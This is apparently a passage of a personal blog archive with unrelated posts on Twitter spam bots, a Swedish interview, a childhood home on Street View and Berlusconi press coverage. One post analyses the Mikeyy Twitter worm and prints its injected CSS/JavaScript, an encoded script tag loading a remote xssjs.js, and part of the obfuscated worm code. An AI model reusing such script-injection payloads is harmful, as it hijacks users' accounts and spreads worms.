For the record, play this at my funeral. Thanks.

I found some strange people had ended up in my feed after I decided to go wild and follow-back anyone who followed me. I kept seeing the same phrases tweeted over and over again, in a very active feed, like a glitch in the matrix.

The phrases range from bland good mornings to zodiac + #swineflu ideas, to greetings in German. Check these searches, the same twitterers appear over and over again tweeting these phrases. Is this a twitbot-net, a twitter-worm, or some popular twitter helper application gone a bit nuts? Since a bunch of these involve retweeted links, I suspect a really big twitter spam network are faking being real people.

Is it sunny where you are?

你 好 吗？ni hao ma

Ever get a song stuck in your head?

Any favorite TV show?

Has any one else noticed this? It gets worse........ next year...... #swineflu

Apologies to Chinese for improper Zodiac sequence #swineflu

Do svidania til later...

We gotta find Jake tonight, and get this hit done. He’s probably over at the Beverly Hills hotel. ...

Ask questions to learn - that's twitter.

Learn Twitter basics, #hashtag use, whale hints, tweetDJ, #ishow http://bit.ly/10VIGw

Cosby Show 25th Anniversary

Let's share some music http://m.tearn.com

Italian for dumb, dumber, dumbest. Funny stuff.

buon giorno

Goooood Morning, Vietnam. Good day world

What's everyone talking about?

Guten tag, wie geht es ihnen!

iphone, tweets, ice cream.

Also spotted these, but they are useless for searching;
"Any plans for the day?"
"Random tweets"
"Enjoy a great day."

There's plenty more phrases in use, check ch_goodwin for an account without a single original tweet.

Update I just realized that tern Media is the prime suspect behind all of these tweeters right now as the "Italian for dumb" and gotta hit Jake" tweets start with their @Jamokies & @JimmytheJamokie accounts.

FYI , obviously I'm dabitch at twitter, less obvious is that I'm also most of the time adland at twitter (which also tweets anything posted on adland.tv).

Det här var skoj att göra, även om jag hade hösnuva och blev märkligt nervös så fort den lilla röda knappen på kameran lyste, men Pelle Sten's enkätserie fortsätter och jag fick vara med och svara på frågor. Roligaste frågan är alltid den sista, jag svamlar om äkta mobilt internet med en nick mot Jayway som faktiskt håller på med ett språk som skulle kunna förvandla din mobiltelefon till en server vilket är bra mycket häftigare än ännu en klen facebook.app ;-)

Söker man på "Åsk Wäppling" eller till och med "Adland.tv" nu på google, så finner man vimeo sidan först. Det känns ju lite lustigt att Vimeo får större google-kredd för matrial som SvD har producerat. Utvecklingsbloggen la ut filmen här, och med all text borde det ju hamna först med Vimeo's taggar har tydligen mer SEO kraft.

Vi bygger internet: Åsk Wäppling, Adland.tv from Pelle Sten on Vimeo.

Nöjd med att jag hann fixa om domännamnet innan intervjun, att säga "Adland punkt teevee" är bra mycket enklare än att säga alla andra URL:ar som leder till Adland. Som snart är som Rom på reklaminternet, så många URL:ar jag har samlat på mig under åren och leder dit. Inte lätt att hitta en som är enkel att säga och inte fastnar i diverse reklamfilter om man inte köper sig fri som Apple gjorde men nu har vi en som funkar.

Om inte Tuvalu sjunker då förstås, och tar domännamnet med sig, som alla (Godaddy: TechDigest, Gizmodo, Gawker) tycks oroa sig för nu - men den storyn refuterades redan 2004 av USA Today.

Jo, det är sant. Det finns ett bloggträsk. Precis som när man åker ringen runt Paris ser man inga skönheter om man bara kör på motorvägarna, nej det är ned i de trivsamma kvarteren man skall och dit hittar jag genom att google-bild söka på ting. Här är några som har fallit mig i smaken.

Bäst bloggtitel går till Elvirasbrev: JAG MÅLAR VÄRLDEN FÖR FULLA MUGGAR, MORSAN.

Och den här liraren vill man bjuda på kaffe i ett gammalt orört retro fik, han vurmar för femtiotalsbalkonger, och pratar om Japan's Life in Tokyo, gamla filmer, vackra gamla och nya hus, platser som inte längre finns och konst samtidigt som han polaroiddokumenterar dear old Stockholm. Spana in rävjägarn på that foxhunting man som dessutom har en podcast.

...or, I might be geekier by the minute. what the hell?

Google Maps has reached North Carolina, and I naturally had to check out the house that I grew up in. I've walked around the block, to my friend Gwens house on Pemberton Drive, and to Mr&Mrs Woten's home, it all looks pretty much the same.. except much smaller than I remember it. ;) When I still had training wheels on my bike, this driveway was a hill, I'm telling ya.

That massive tree planted next to the mailbox is exactly as old as I am, as my mother planted it for me. The room on the right was originally a garage, my father made it an indoor playroom for us kids. A few weeks after he did that I started my moms car somehow and smashed into the wall, barely denting it but it was high drama in my little life at the time.

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I also found Raleigh Skyline has great photos of Raleigh today, and some showing off how folks in Raleigh will sled ride on almost anything when it snows. My first N.C. style sled ride was my mothers steel bake plate, down the "hill" of our neighbors house 1202 Chardon Court.

"Di ritorno dal suo ultimo giro a Londra e Strasburgo Berlusconi si infuriò con i giornalisti che avevano descritto i suoi passi falsi, minacciando "provvedimenti". Ma forse il primo provvedimento che il primo ministro dovrebbe adottare è quello di pensare prima di aprire bocca."

Very interesting. Since Italian media has been oh so quiet about Berlusconi comparing the plight of homeless earthquake victims sleeping in tents to a camping weekend, the Guardian has decided to run an opinion piece in both Italian and English on their pages.

See: Le gaffe di Berlusconi non fanno notizia in Italia

Here is that same article in English: Silvio Berlusconi is free to blunder before Italy's obliging media.

So, I'm minding my own tweetness when I see a friend suddenly talking quite a lot about Mikeyy. And he ain't the only one. everyone is talking about Mikeyy - silly me I go to my friends page to DM him that a twitter-bug has bitten him in the ass, and see this (above).

Of course, now Mikeyy bit me too. Argh.

So let's see how he did it shall we? A Mikeyy users source code looks like this;

/* begin custom css */
.top-navigation > li > a,
a { color: #mikeyy:)
">document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%
2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f
%73%63%72%69%70%74%3e/.source));

This points us to content.ireel.com/xssjs.js - and that's where Mikeyy keeps his script.

var
_0xefb0=["\x4D\x73\x78\x6D\x6C\x32\x2E\x58\x4D\x4C\x48\x54\x54\x50","\x4D\x69\x63\x72\x6F\x73\
x6F\x66\x74\x2E\x58\x4D\x4C\x48\x54\x54\x50","\x63\x6F\x6E\x6E\x65\x63\x74","\x74\x6F\x55\x70\
x70\x65\x72\x43\x61\x73\x65","\x47\x45\x54","\x3F","\x6F\x70\x65\x6E","","\x4D\x65\x74\x68\x6F\
x64","\x50\x4F\x53\x54\x20","\x20\x48\x54\x54\x50\x2F\x31\x2E\x31","\x73\x65\x74\x52\x65\x71\

The Crisis of Credit Visualized from Jonathan Jarvis on Vimeo.

Mike Booth, creator of somegreybloke.com, nails it.